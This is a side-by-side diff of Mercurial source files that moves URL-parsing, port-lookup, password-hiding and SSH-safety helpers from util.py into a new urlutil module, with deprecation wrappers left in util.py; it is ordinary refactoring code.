s = STARTTLS(ui, local_hostname=local_hostname, host=mailhost) s = STARTTLS(ui, local_hostname=local_hostname, host=mailhost)
else: else:
s = smtplib.SMTP(local_hostname=local_hostname) s = smtplib.SMTP(local_hostname=local_hostname)
if smtps: if smtps:
defaultport = 465 defaultport = 465
else: else:
defaultport = 25 defaultport = 25
mailport = util.getport(ui.config(b'smtp', b'port', defaultport)) mailport = urlutil.getport(ui.config(b'smtp', b'port', defaultport))
ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport)) ui.note(_(b'sending mail: smtp host %s, port %d\n') % (mailhost, mailport))
s.connect(host=mailhost, port=mailport) s.connect(host=mailhost, port=mailport)
if starttls: if starttls:
ui.note(_(b'(using starttls)\n')) ui.note(_(b'(using starttls)\n'))
s.ehlo() s.ehlo()
s.starttls() s.starttls()
s.ehlo() s.ehlo()
if starttls or smtps: if starttls or smtps:

mercurial/repair.py

exchange, exchange,
obsolete, obsolete,
obsutil, obsutil,
pathutil, pathutil,
phases, phases,
pycompat, pycompat,
requirements, requirements,
scmutil, scmutil,
util,
) )
from .utils import ( from .utils import (
hashutil, hashutil,
stringutil, stringutil,
urlutil,
) )
def backupbundle( def backupbundle(
repo, bases, heads, node, suffix, compress=True, obsolescence=True repo, bases, heads, node, suffix, compress=True, obsolescence=True
): ):
"""create a bundle with the specified revisions as a backup""" """create a bundle with the specified revisions as a backup"""
f = vfs.open(tmpbundlefile, b"rb") f = vfs.open(tmpbundlefile, b"rb")
gen = exchange.readbundle(ui, f, tmpbundlefile, vfs) gen = exchange.readbundle(ui, f, tmpbundlefile, vfs)
if not repo.ui.verbose: if not repo.ui.verbose:
# silence internal shuffling chatter # silence internal shuffling chatter
repo.ui.pushbuffer() repo.ui.pushbuffer()
tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile) tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
txnname = b'strip' txnname = b'strip'
if not isinstance(gen, bundle2.unbundle20): if not isinstance(gen, bundle2.unbundle20):
txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl) txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl)
with repo.transaction(txnname) as tr: with repo.transaction(txnname) as tr:
bundle2.applybundle( bundle2.applybundle(
repo, gen, tr, source=b'strip', url=tmpbundleurl repo, gen, tr, source=b'strip', url=tmpbundleurl
) )
if not repo.ui.verbose: if not repo.ui.verbose:
repo.ui.popbuffer() repo.ui.popbuffer()
f.close() f.close()

mercurial/server.py

cmdutil, cmdutil,
commandserver, commandserver,
error, error,
hgweb, hgweb,
pycompat, pycompat,
util, util,
) )
from .utils import procutil from .utils import (
procutil,
urlutil,
)
def runservice( def runservice(
opts, opts,
parentfn=None, parentfn=None,
initfn=None, initfn=None,
runfn=None, runfn=None,
logfile=None, logfile=None,
raise error.Abort(_(b'unknown mode %s') % mode) raise error.Abort(_(b'unknown mode %s') % mode)
commandserver.setuplogging(ui, repo) commandserver.setuplogging(ui, repo)
return servicefn(ui, repo, opts) return servicefn(ui, repo, opts)
def _createhgwebservice(ui, repo, opts): def _createhgwebservice(ui, repo, opts):
# this way we can check if something was given in the command-line # this way we can check if something was given in the command-line
if opts.get(b'port'): if opts.get(b'port'):
opts[b'port'] = util.getport(opts.get(b'port')) opts[b'port'] = urlutil.getport(opts.get(b'port'))
alluis = {ui} alluis = {ui}
if repo: if repo:
baseui = repo.baseui baseui = repo.baseui
alluis.update([repo.baseui, repo.ui]) alluis.update([repo.baseui, repo.ui])
else: else:
baseui = ui baseui = ui
webconf = opts.get(b'web_conf') or opts.get(b'webdir_conf') webconf = opts.get(b'web_conf') or opts.get(b'webdir_conf')

mercurial/sshpeer.py

wireprotoserver, wireprotoserver,
wireprototypes, wireprototypes,
wireprotov1peer, wireprotov1peer,
wireprotov1server, wireprotov1server,
) )
from .utils import ( from .utils import (
procutil, procutil,
stringutil, stringutil,
urlutil,
) )
def _serverquote(s): def _serverquote(s):
"""quote a string for the remote shell ... which we assume is sh""" """quote a string for the remote shell ... which we assume is sh"""
if not s: if not s:
return s return s
if re.match(b'[a-zA-Z0-9@%_+=:,./-]*$', s): if re.match(b'[a-zA-Z0-9@%_+=:,./-]*$', s):
) )
def instance(ui, path, create, intents=None, createopts=None): def instance(ui, path, create, intents=None, createopts=None):
"""Create an SSH peer. """Create an SSH peer.
The returned object conforms to the ``wireprotov1peer.wirepeer`` interface. The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
""" """
u = util.url(path, parsequery=False, parsefragment=False) u = urlutil.url(path, parsequery=False, parsefragment=False)
if u.scheme != b'ssh' or not u.host or u.path is None: if u.scheme != b'ssh' or not u.host or u.path is None:
raise error.RepoError(_(b"couldn't parse location %s") % path) raise error.RepoError(_(b"couldn't parse location %s") % path)
util.checksafessh(path) urlutil.checksafessh(path)
if u.passwd is not None: if u.passwd is not None:
raise error.RepoError(_(b'password in URL not supported')) raise error.RepoError(_(b'password in URL not supported'))
sshcmd = ui.config(b'ui', b'ssh') sshcmd = ui.config(b'ui', b'ssh')
remotecmd = ui.config(b'ui', b'remotecmd') remotecmd = ui.config(b'ui', b'remotecmd')
sshaddenv = dict(ui.configitems(b'sshenv')) sshaddenv = dict(ui.configitems(b'sshenv'))
sshenv = procutil.shellenviron(sshaddenv) sshenv = procutil.shellenviron(sshaddenv)

mercurial/statichttprepo.py

manifest, manifest,
namespaces, namespaces,
pathutil, pathutil,
pycompat, pycompat,
url, url,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import (
urlutil,
)
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
class httprangereader(object): class httprangereader(object):
def __init__(self, url, opener): def __init__(self, url, opener):
# we assume opener has HTTPRangeHandler # we assume opener has HTTPRangeHandler
): ):
supported = localrepo.localrepository._basesupported supported = localrepo.localrepository._basesupported
def __init__(self, ui, path): def __init__(self, ui, path):
self._url = path self._url = path
self.ui = ui self.ui = ui
self.root = path self.root = path
u = util.url(path.rstrip(b'/') + b"/.hg") u = urlutil.url(path.rstrip(b'/') + b"/.hg")
self.path, authinfo = u.authinfo() self.path, authinfo = u.authinfo()
vfsclass = build_opener(ui, authinfo) vfsclass = build_opener(ui, authinfo)
self.vfs = vfsclass(self.path) self.vfs = vfsclass(self.path)
self.cachevfs = vfsclass(self.vfs.join(b'cache')) self.cachevfs = vfsclass(self.vfs.join(b'cache'))
self._phasedefaults = [] self._phasedefaults = []
self.names = namespaces.namespaces() self.names = namespaces.namespaces()

mercurial/subrepo.py

subrepoutil, subrepoutil,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import ( from .utils import (
dateutil, dateutil,
hashutil, hashutil,
procutil, procutil,
urlutil,
) )
hg = None hg = None
reporelpath = subrepoutil.reporelpath reporelpath = subrepoutil.reporelpath
subrelpath = subrepoutil.subrelpath subrelpath = subrepoutil.subrelpath
_abssource = subrepoutil._abssource _abssource = subrepoutil._abssource
propertycache = util.propertycache propertycache = util.propertycache
def _expandedabspath(path): def _expandedabspath(path):
""" """
get a path or url and if it is a path expand it and return an absolute path get a path or url and if it is a path expand it and return an absolute path
""" """
expandedpath = util.urllocalpath(util.expandpath(path)) expandedpath = urlutil.urllocalpath(util.expandpath(path))
u = util.url(expandedpath) u = urlutil.url(expandedpath)
if not u.scheme: if not u.scheme:
path = util.normpath(os.path.abspath(u.path)) path = util.normpath(os.path.abspath(u.path))
return path return path
def _getstorehashcachename(remotepath): def _getstorehashcachename(remotepath):
'''get a unique filename for the store hash cache of a remote repository''' '''get a unique filename for the store hash cache of a remote repository'''
return hex(hashutil.sha1(_expandedabspath(remotepath)).digest())[0:12] return hex(hashutil.sha1(_expandedabspath(remotepath)).digest())[0:12]
b'pool': pool, b'pool': pool,
b'mode': self.ui.config(b'share', b'poolnaming'), b'mode': self.ui.config(b'share', b'poolnaming'),
} }
else: else:
shareopts = {} shareopts = {}
self.ui.status( self.ui.status(
_(b'cloning subrepo %s from %s\n') _(b'cloning subrepo %s from %s\n')
% (subrelpath(self), util.hidepassword(srcurl)) % (subrelpath(self), urlutil.hidepassword(srcurl))
) )
peer = getpeer() peer = getpeer()
try: try:
other, cloned = hg.clone( other, cloned = hg.clone(
self._repo._subparent.baseui, self._repo._subparent.baseui,
{}, {},
peer, peer,
self._repo.root, self._repo.root,
update=False, update=False,
shareopts=shareopts, shareopts=shareopts,
) )
finally: finally:
peer.close() peer.close()
self._repo = cloned.local() self._repo = cloned.local()
self._initrepo(parentrepo, source, create=True) self._initrepo(parentrepo, source, create=True)
self._cachestorehash(srcurl) self._cachestorehash(srcurl)
else: else:
self.ui.status( self.ui.status(
_(b'pulling subrepo %s from %s\n') _(b'pulling subrepo %s from %s\n')
% (subrelpath(self), util.hidepassword(srcurl)) % (subrelpath(self), urlutil.hidepassword(srcurl))
) )
cleansub = self.storeclean(srcurl) cleansub = self.storeclean(srcurl)
peer = getpeer() peer = getpeer()
try: try:
exchange.pull(self._repo, peer) exchange.pull(self._repo, peer)
finally: finally:
peer.close() peer.close()
if cleansub: if cleansub:
if c.sub(s).push(opts) == 0: if c.sub(s).push(opts) == 0:
return False return False
dsturl = _abssource(self._repo, True) dsturl = _abssource(self._repo, True)
if not force: if not force:
if self.storeclean(dsturl): if self.storeclean(dsturl):
self.ui.status( self.ui.status(
_(b'no changes made to subrepo %s since last push to %s\n') _(b'no changes made to subrepo %s since last push to %s\n')
% (subrelpath(self), util.hidepassword(dsturl)) % (subrelpath(self), urlutil.hidepassword(dsturl))
) )
return None return None
self.ui.status( self.ui.status(
_(b'pushing subrepo %s to %s\n') _(b'pushing subrepo %s to %s\n')
% (subrelpath(self), util.hidepassword(dsturl)) % (subrelpath(self), urlutil.hidepassword(dsturl))
) )
other = hg.peer(self._repo, {b'ssh': ssh}, dsturl) other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
try: try:
res = exchange.push(self._repo, other, force, newbranch=newbranch) res = exchange.push(self._repo, other, force, newbranch=newbranch)
finally: finally:
other.close() other.close()
# the repo is now clean # the repo is now clean
args = [b'checkout'] args = [b'checkout']
if self._svnversion >= (1, 5): if self._svnversion >= (1, 5):
args.append(b'--force') args.append(b'--force')
# The revision must be specified at the end of the URL to properly # The revision must be specified at the end of the URL to properly
# update to a directory which has since been deleted and recreated. # update to a directory which has since been deleted and recreated.
args.append(b'%s@%s' % (state[0], state[1])) args.append(b'%s@%s' % (state[0], state[1]))
# SEC: check that the ssh url is safe # SEC: check that the ssh url is safe
util.checksafessh(state[0]) urlutil.checksafessh(state[0])
status, err = self._svncommand(args, failok=True) status, err = self._svncommand(args, failok=True)
_sanitize(self.ui, self.wvfs, b'.svn') _sanitize(self.ui, self.wvfs, b'.svn')
if not re.search(b'Checked out revision [0-9]+.', status): if not re.search(b'Checked out revision [0-9]+.', status):
if b'is already a working copy for a different URL' in err and ( if b'is already a working copy for a different URL' in err and (
self._wcchanged()[:2] == (False, False) self._wcchanged()[:2] == (False, False)
): ):
# obstructed but clean working copy, so just blow it away. # obstructed but clean working copy, so just blow it away.
if colon != -1 and b'/' not in source[:colon]: if colon != -1 and b'/' not in source[:colon]:
return source return source
self._subsource = source self._subsource = source
return _abssource(self) return _abssource(self)
def _fetch(self, source, revision): def _fetch(self, source, revision):
if self._gitmissing(): if self._gitmissing():
# SEC: check for safe ssh url # SEC: check for safe ssh url
util.checksafessh(source) urlutil.checksafessh(source)
source = self._abssource(source) source = self._abssource(source)
self.ui.status( self.ui.status(
_(b'cloning subrepo %s from %s\n') % (self._relpath, source) _(b'cloning subrepo %s from %s\n') % (self._relpath, source)
) )
self._gitnodir([b'clone', source, self._abspath]) self._gitnodir([b'clone', source, self._abspath])
if self._githavelocally(revision): if self._githavelocally(revision):
return return

mercurial/subrepoutil.py

config, config,
error, error,
filemerge, filemerge,
pathutil, pathutil,
phases, phases,
pycompat, pycompat,
util, util,
) )
from .utils import stringutil from .utils import (
stringutil,
urlutil,
)
nullstate = (b'', b'', b'empty') nullstate = (b'', b'', b'empty')
if pycompat.TYPE_CHECKING: if pycompat.TYPE_CHECKING:
from typing import ( from typing import (
Any, Any,
Dict, Dict,
List, List,
kind = b'hg' kind = b'hg'
if src.startswith(b'['): if src.startswith(b'['):
if b']' not in src: if b']' not in src:
raise error.Abort(_(b'missing ] in subrepository source')) raise error.Abort(_(b'missing ] in subrepository source'))
kind, src = src.split(b']', 1) kind, src = src.split(b']', 1)
kind = kind[1:] kind = kind[1:]
src = src.lstrip() # strip any extra whitespace after ']' src = src.lstrip() # strip any extra whitespace after ']'
if not util.url(src).isabs(): if not urlutil.url(src).isabs():
parent = _abssource(repo, abort=False) parent = _abssource(repo, abort=False)
if parent: if parent:
parent = util.url(parent) parent = urlutil.url(parent)
parent.path = posixpath.join(parent.path or b'', src) parent.path = posixpath.join(parent.path or b'', src)
parent.path = posixpath.normpath(parent.path) parent.path = posixpath.normpath(parent.path)
joined = bytes(parent) joined = bytes(parent)
# Remap the full joined path and use it if it changes, # Remap the full joined path and use it if it changes,
# else remap the original source. # else remap the original source.
remapped = remap(joined) remapped = remap(joined)
if remapped == joined: if remapped == joined:
src = remap(src) src = remap(src)
return sub._relpath return sub._relpath
def _abssource(repo, push=False, abort=True): def _abssource(repo, push=False, abort=True):
# type: (localrepo.localrepository, bool, bool) -> Optional[bytes] # type: (localrepo.localrepository, bool, bool) -> Optional[bytes]
"""return pull/push path of repo - either based on parent repo .hgsub info """return pull/push path of repo - either based on parent repo .hgsub info
or on the top repo config. Abort or return None if no source found.""" or on the top repo config. Abort or return None if no source found."""
if util.safehasattr(repo, b'_subparent'): if util.safehasattr(repo, b'_subparent'):
source = util.url(repo._subsource) source = urlutil.url(repo._subsource)
if source.isabs(): if source.isabs():
return bytes(source) return bytes(source)
source.path = posixpath.normpath(source.path) source.path = posixpath.normpath(source.path)
parent = _abssource(repo._subparent, push, abort=False) parent = _abssource(repo._subparent, push, abort=False)
if parent: if parent:
parent = util.url(util.pconvert(parent)) parent = urlutil.url(util.pconvert(parent))
parent.path = posixpath.join(parent.path or b'', source.path) parent.path = posixpath.join(parent.path or b'', source.path)
parent.path = posixpath.normpath(parent.path) parent.path = posixpath.normpath(parent.path)
return bytes(parent) return bytes(parent)
else: # recursion reached top repo else: # recursion reached top repo
path = None path = None
if util.safehasattr(repo, b'_subtoppath'): if util.safehasattr(repo, b'_subtoppath'):
path = repo._subtoppath path = repo._subtoppath
elif push and repo.ui.config(b'paths', b'default-push'): elif push and repo.ui.config(b'paths', b'default-push'):
# #
# C:\>cd C:\some\path # C:\>cd C:\some\path
# C:\>D: # C:\>D:
# D:\>python -c "import os; print os.path.abspath('C:')" # D:\>python -c "import os; print os.path.abspath('C:')"
# C:\some\path # C:\some\path
# #
# D:\>python -c "import os; print os.path.abspath('C:relative')" # D:\>python -c "import os; print os.path.abspath('C:relative')"
# C:\some\path\relative # C:\some\path\relative
if util.hasdriveletter(path): if urlutil.hasdriveletter(path):
if len(path) == 2 or path[2:3] not in br'\/': if len(path) == 2 or path[2:3] not in br'\/':
path = os.path.abspath(path) path = os.path.abspath(path)
return path return path
if abort: if abort:
raise error.Abort(_(b"default path for subrepository not found")) raise error.Abort(_(b"default path for subrepository not found"))

mercurial/ui.py

if b'%%' in p: if b'%%' in p:
s = self.configsource(b'paths', n) or b'none' s = self.configsource(b'paths', n) or b'none'
self.warn( self.warn(
_(b"(deprecated '%%' in path %s=%s from %s)\n") _(b"(deprecated '%%' in path %s=%s from %s)\n")
% (n, p, s) % (n, p, s)
) )
p = p.replace(b'%%', b'%') p = p.replace(b'%%', b'%')
p = util.expandpath(p) p = util.expandpath(p)
if not util.hasscheme(p) and not os.path.isabs(p): if not urlutil.hasscheme(p) and not os.path.isabs(p):
p = os.path.normpath(os.path.join(root, p)) p = os.path.normpath(os.path.join(root, p))
c.alter(b"paths", n, p) c.alter(b"paths", n, p)
if section in (None, b'ui'): if section in (None, b'ui'):
# update ui options # update ui options
self._fmsgout, self._fmsgerr = _selectmsgdests(self) self._fmsgout, self._fmsgerr = _selectmsgdests(self)
self.debugflag = self.configbool(b'ui', b'debug') self.debugflag = self.configbool(b'ui', b'debug')
self.verbose = self.debugflag or self.configbool(b'ui', b'verbose') self.verbose = self.debugflag or self.configbool(b'ui', b'verbose')

mercurial/url.py

error, error,
httpconnection as httpconnectionmod, httpconnection as httpconnectionmod,
keepalive, keepalive,
pycompat, pycompat,
sslutil, sslutil,
urllibcompat, urllibcompat,
util, util,
) )
from .utils import stringutil from .utils import (
stringutil,
urlutil,
)
httplib = util.httplib httplib = util.httplib
stringio = util.stringio stringio = util.stringio
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
def escape(s, quote=None): def escape(s, quote=None):
if not user or not passwd: if not user or not passwd:
res = httpconnectionmod.readauthforuri(self.ui, authuri, user) res = httpconnectionmod.readauthforuri(self.ui, authuri, user)
if res: if res:
group, auth = res group, auth = res
user, passwd = auth.get(b'username'), auth.get(b'password') user, passwd = auth.get(b'username'), auth.get(b'password')
self.ui.debug(b"using auth.%s.* for authentication\n" % group) self.ui.debug(b"using auth.%s.* for authentication\n" % group)
if not user or not passwd: if not user or not passwd:
u = util.url(pycompat.bytesurl(authuri)) u = urlutil.url(pycompat.bytesurl(authuri))
u.query = None u.query = None
if not self.ui.interactive(): if not self.ui.interactive():
raise error.Abort( raise error.Abort(
_(b'http authorization required for %s') _(b'http authorization required for %s')
% util.hidepassword(bytes(u)) % urlutil.hidepassword(bytes(u))
) )
self.ui.write( self.ui.write(
_(b"http authorization required for %s\n") _(b"http authorization required for %s\n")
% util.hidepassword(bytes(u)) % urlutil.hidepassword(bytes(u))
) )
self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm)) self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm))
if user: if user:
self.ui.write(_(b"user: %s\n") % user) self.ui.write(_(b"user: %s\n") % user)
else: else:
user = self.ui.prompt(_(b"user:"), default=None) user = self.ui.prompt(_(b"user:"), default=None)
if not passwd: if not passwd:
# XXX proxyauthinfo = None # XXX proxyauthinfo = None
if proxyurl: if proxyurl:
# proxy can be proper url or host[:port] # proxy can be proper url or host[:port]
if not ( if not (
proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:') proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:')
): ):
proxyurl = b'http://' + proxyurl + b'/' proxyurl = b'http://' + proxyurl + b'/'
proxy = util.url(proxyurl) proxy = urlutil.url(proxyurl)
if not proxy.user: if not proxy.user:
proxy.user = ui.config(b"http_proxy", b"user") proxy.user = ui.config(b"http_proxy", b"user")
proxy.passwd = ui.config(b"http_proxy", b"passwd") proxy.passwd = ui.config(b"http_proxy", b"passwd")
# see if we should use a proxy for this url # see if we should use a proxy for this url
no_list = [b"localhost", b"127.0.0.1"] no_list = [b"localhost", b"127.0.0.1"]
no_list.extend( no_list.extend(
[p.lower() for p in ui.configlist(b"http_proxy", b"no")] [p.lower() for p in ui.configlist(b"http_proxy", b"no")]
self.no_list = [] self.no_list = []
else: else:
self.no_list = no_list self.no_list = no_list
# Keys and values need to be str because the standard library # Keys and values need to be str because the standard library
# expects them to be. # expects them to be.
proxyurl = str(proxy) proxyurl = str(proxy)
proxies = {'http': proxyurl, 'https': proxyurl} proxies = {'http': proxyurl, 'https': proxyurl}
ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy))) ui.debug(
b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy))
)
else: else:
proxies = {} proxies = {}
urlreq.proxyhandler.__init__(self, proxies) urlreq.proxyhandler.__init__(self, proxies)
self.ui = ui self.ui = ui
def proxy_open(self, req, proxy, type_): def proxy_open(self, req, proxy, type_):
host = pycompat.bytesurl(urllibcompat.gethost(req)).split(b':')[0] host = pycompat.bytesurl(urllibcompat.gethost(req)).split(b':')[0]
if tunnel_host[:7] not in ['http://', 'https:/']: if tunnel_host[:7] not in ['http://', 'https:/']:
tunnel_host = 'https://' + tunnel_host tunnel_host = 'https://' + tunnel_host
new_tunnel = True new_tunnel = True
else: else:
tunnel_host = urllibcompat.getselector(req) tunnel_host = urllibcompat.getselector(req)
new_tunnel = False new_tunnel = False
if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy
u = util.url(pycompat.bytesurl(tunnel_host)) u = urlutil.url(pycompat.bytesurl(tunnel_host))
if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS
h.realhostport = b':'.join([u.host, (u.port or b'443')]) h.realhostport = b':'.join([u.host, (u.port or b'443')])
h.headers = req.headers.copy() h.headers = req.headers.copy()
h.headers.update(handler.parent.addheaders) h.headers.update(handler.parent.addheaders)
return return
h.realhostport = None h.realhostport = None
h.headers = None h.headers = None
# X-HgProto-<N> for advertising client support. # X-HgProto-<N> for advertising client support.
if sendaccept: if sendaccept:
opener.addheaders.append(('Accept', 'application/mercurial-0.1')) opener.addheaders.append(('Accept', 'application/mercurial-0.1'))
return opener return opener
def open(ui, url_, data=None, sendaccept=True): def open(ui, url_, data=None, sendaccept=True):
u = util.url(url_) u = urlutil.url(url_)
if u.scheme: if u.scheme:
u.scheme = u.scheme.lower() u.scheme = u.scheme.lower()
url_, authinfo = u.authinfo() url_, authinfo = u.authinfo()
else: else:
path = util.normpath(os.path.abspath(url_)) path = util.normpath(os.path.abspath(url_))
url_ = b'file://' + pycompat.bytesurl( url_ = b'file://' + pycompat.bytesurl(
urlreq.pathname2url(pycompat.fsdecode(path)) urlreq.pathname2url(pycompat.fsdecode(path))
) )

mercurial/util.py

import hashlib import hashlib
import itertools import itertools
import locale import locale
import mmap import mmap
import os import os
import platform as pyplatform import platform as pyplatform
import re as remod import re as remod
import shutil import shutil
import socket
import stat import stat
import sys import sys
import time import time
import traceback import traceback
import warnings import warnings
from .thirdparty import attr from .thirdparty import attr
from .pycompat import ( from .pycompat import (
pycompat, pycompat,
urllibcompat, urllibcompat,
) )
from .utils import ( from .utils import (
compression, compression,
hashutil, hashutil,
procutil, procutil,
stringutil, stringutil,
urlutil,
) )
if pycompat.TYPE_CHECKING: if pycompat.TYPE_CHECKING:
from typing import ( from typing import (
Iterator, Iterator,
List, List,
Optional, Optional,
Tuple, Tuple,
Union,
) )
base85 = policy.importmod('base85') base85 = policy.importmod('base85')
osutil = policy.importmod('osutil') osutil = policy.importmod('osutil')
b85decode = base85.b85decode b85decode = base85.b85decode
b85encode = base85.b85encode b85encode = base85.b85encode
prefix_char = prefix[1:] prefix_char = prefix[1:]
else: else:
prefix_char = prefix prefix_char = prefix
mapping[prefix_char] = prefix_char mapping[prefix_char] = prefix_char
r = remod.compile(br'%s(%s)' % (prefix, patterns)) r = remod.compile(br'%s(%s)' % (prefix, patterns))
return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
def getport(port): def getport(*args, **kwargs):
# type: (Union[bytes, int]) -> int msg = b'getport(...) moved to mercurial.utils.urlutil'
"""Return the port for a given network service. nouideprecwarn(msg, b'6.0', stacklevel=2)
return urlutil.getport(*args, **kwargs)
If port is an integer, it's returned as is. If it's a string, it's
looked up using socket.getservbyname(). If there's no matching
service, error.Abort is raised.
"""
try:
return int(port)
except ValueError:
pass
try:
return socket.getservbyname(pycompat.sysstr(port))
except socket.error:
raise error.Abort(
_(b"no port number associated with service '%s'") % port
)
class url(object): def url(*args, **kwargs):
r"""Reliable URL parser. msg = b'url(...) moved to mercurial.utils.urlutil'
nouideprecwarn(msg, b'6.0', stacklevel=2)
return urlutil.url(*args, **kwargs)
This parses URLs and provides attributes for the following
components:
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> def hasscheme(*args, **kwargs):
msg = b'hasscheme(...) moved to mercurial.utils.urlutil'
nouideprecwarn(msg, b'6.0', stacklevel=2)
return urlutil.hasscheme(*args, **kwargs)
Missing components are set to None. The only exception is
fragment, which is set to '' if present but empty.
If parsefragment is False, fragment is included in query. If def hasdriveletter(*args, **kwargs):
parsequery is False, query is included in path. If both are msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil'
False, both fragment and query are included in path. nouideprecwarn(msg, b'6.0', stacklevel=2)
return urlutil.hasdriveletter(*args, **kwargs)
See http://www.ietf.org/rfc/rfc2396.txt for more information.
Note that for backward compatibility reasons, bundle URLs do not def urllocalpath(*args, **kwargs):
take host names. That means 'bundle://../' has a path of '../'. msg = b'urllocalpath(...) moved to mercurial.utils.urlutil'
nouideprecwarn(msg, b'6.0', stacklevel=2)
return urlutil.urllocalpath(*args, **kwargs)
Examples:
>>> url(b'http://www.ietf.org/rfc/rfc2396.txt') def checksafessh(*args, **kwargs):
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> msg = b'checksafessh(...) moved to mercurial.utils.urlutil'
>>> url(b'ssh://[::1]:2200//home/joe/repo') nouideprecwarn(msg, b'6.0', stacklevel=2)
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> return urlutil.checksafessh(*args, **kwargs)
>>> url(b'file:///home/joe/repo')
<url scheme: 'file', path: '/home/joe/repo'>
>>> url(b'file:///c:/temp/foo/')
<url scheme: 'file', path: 'c:/temp/foo/'>
>>> url(b'bundle:foo')
<url scheme: 'bundle', path: 'foo'>
>>> url(b'bundle://../foo')
<url scheme: 'bundle', path: '../foo'>
>>> url(br'c:\foo\bar')
<url path: 'c:\\foo\\bar'>
>>> url(br'\\blah\blah\blah')
<url path: '\\\\blah\\blah\\blah'>
>>> url(br'\\blah\blah\blah#baz')
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
>>> url(br'file:///C:\users\me')
<url scheme: 'file', path: 'C:\\users\\me'>
Authentication credentials:
>>> url(b'ssh://joe:xyz@x/repo') def hidepassword(*args, **kwargs):
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> msg = b'hidepassword(...) moved to mercurial.utils.urlutil'
>>> url(b'ssh://joe@x/repo') nouideprecwarn(msg, b'6.0', stacklevel=2)
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> return urlutil.hidepassword(*args, **kwargs)
Query strings and fragments:
>>> url(b'http://host/a?b#c') def removeauth(*args, **kwargs):
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> msg = b'removeauth(...) moved to mercurial.utils.urlutil'
>>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) nouideprecwarn(msg, b'6.0', stacklevel=2)
<url scheme: 'http', host: 'host', path: 'a?b#c'> return urlutil.removeauth(*args, **kwargs)
Empty path:
>>> url(b'')
<url path: ''>
>>> url(b'#a')
<url path: '', fragment: 'a'>
>>> url(b'http://host/')
<url scheme: 'http', host: 'host', path: ''>
>>> url(b'http://host/#a')
<url scheme: 'http', host: 'host', path: '', fragment: 'a'>
Only scheme:
>>> url(b'http:')
<url scheme: 'http'>
"""
_safechars = b"!~*'()+"
_safepchars = b"/!~*'()+:\\"
_matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
def __init__(self, path, parsequery=True, parsefragment=True):
# type: (bytes, bool, bool) -> None
# We slowly chomp away at path until we have only the path left
self.scheme = self.user = self.passwd = self.host = None
self.port = self.path = self.query = self.fragment = None
self._localpath = True
self._hostport = b''
self._origpath = path
if parsefragment and b'#' in path:
path, self.fragment = path.split(b'#', 1)
# special case for Windows drive letters and UNC paths
if hasdriveletter(path) or path.startswith(b'\\\\'):
self.path = path
return
# For compatibility reasons, we can't handle bundle paths as
# normal URLS
if path.startswith(b'bundle:'):
self.scheme = b'bundle'
path = path[7:]
if path.startswith(b'//'):
path = path[2:]
self.path = path
return
if self._matchscheme(path):
parts = path.split(b':', 1)
if parts[0]:
self.scheme, path = parts
self._localpath = False
if not path:
path = None
if self._localpath:
self.path = b''
return
else:
if self._localpath:
self.path = path
return
if parsequery and b'?' in path:
path, self.query = path.split(b'?', 1)
if not path:
path = None
if not self.query:
self.query = None
# // is required to specify a host/authority
if path and path.startswith(b'//'):
parts = path[2:].split(b'/', 1)
if len(parts) > 1:
self.host, path = parts
else:
self.host = parts[0]
path = None
if not self.host:
self.host = None
# path of file:///d is /d
# path of file:///d:/ is d:/, not /d:/
if path and not hasdriveletter(path):
path = b'/' + path
if self.host and b'@' in self.host:
self.user, self.host = self.host.rsplit(b'@', 1)
if b':' in self.user:
self.user, self.passwd = self.user.split(b':', 1)
if not self.host:
self.host = None
# Don't split on colons in IPv6 addresses without ports
if (
self.host
and b':' in self.host
and not (
self.host.startswith(b'[') and self.host.endswith(b']')
)
):
self._hostport = self.host
self.host, self.port = self.host.rsplit(b':', 1)
if not self.host:
self.host = None
if (
self.host
and self.scheme == b'file'
and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
):
raise error.Abort(
_(b'file:// URLs can only refer to localhost')
)
self.path = path
# leave the query string escaped
for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
v = getattr(self, a)
if v is not None:
setattr(self, a, urlreq.unquote(v))
def copy(self):
u = url(b'temporary useless value')
u.path = self.path
u.scheme = self.scheme
u.user = self.user
u.passwd = self.passwd
u.host = self.host
u.path = self.path
u.query = self.query
u.fragment = self.fragment
u._localpath = self._localpath
u._hostport = self._hostport
u._origpath = self._origpath
return u
@encoding.strmethod
def __repr__(self):
attrs = []
for a in (
b'scheme',
b'user',
b'passwd',
b'host',
b'port',
b'path',
b'query',
b'fragment',
):
v = getattr(self, a)
if v is not None:
attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
return b'<url %s>' % b', '.join(attrs)
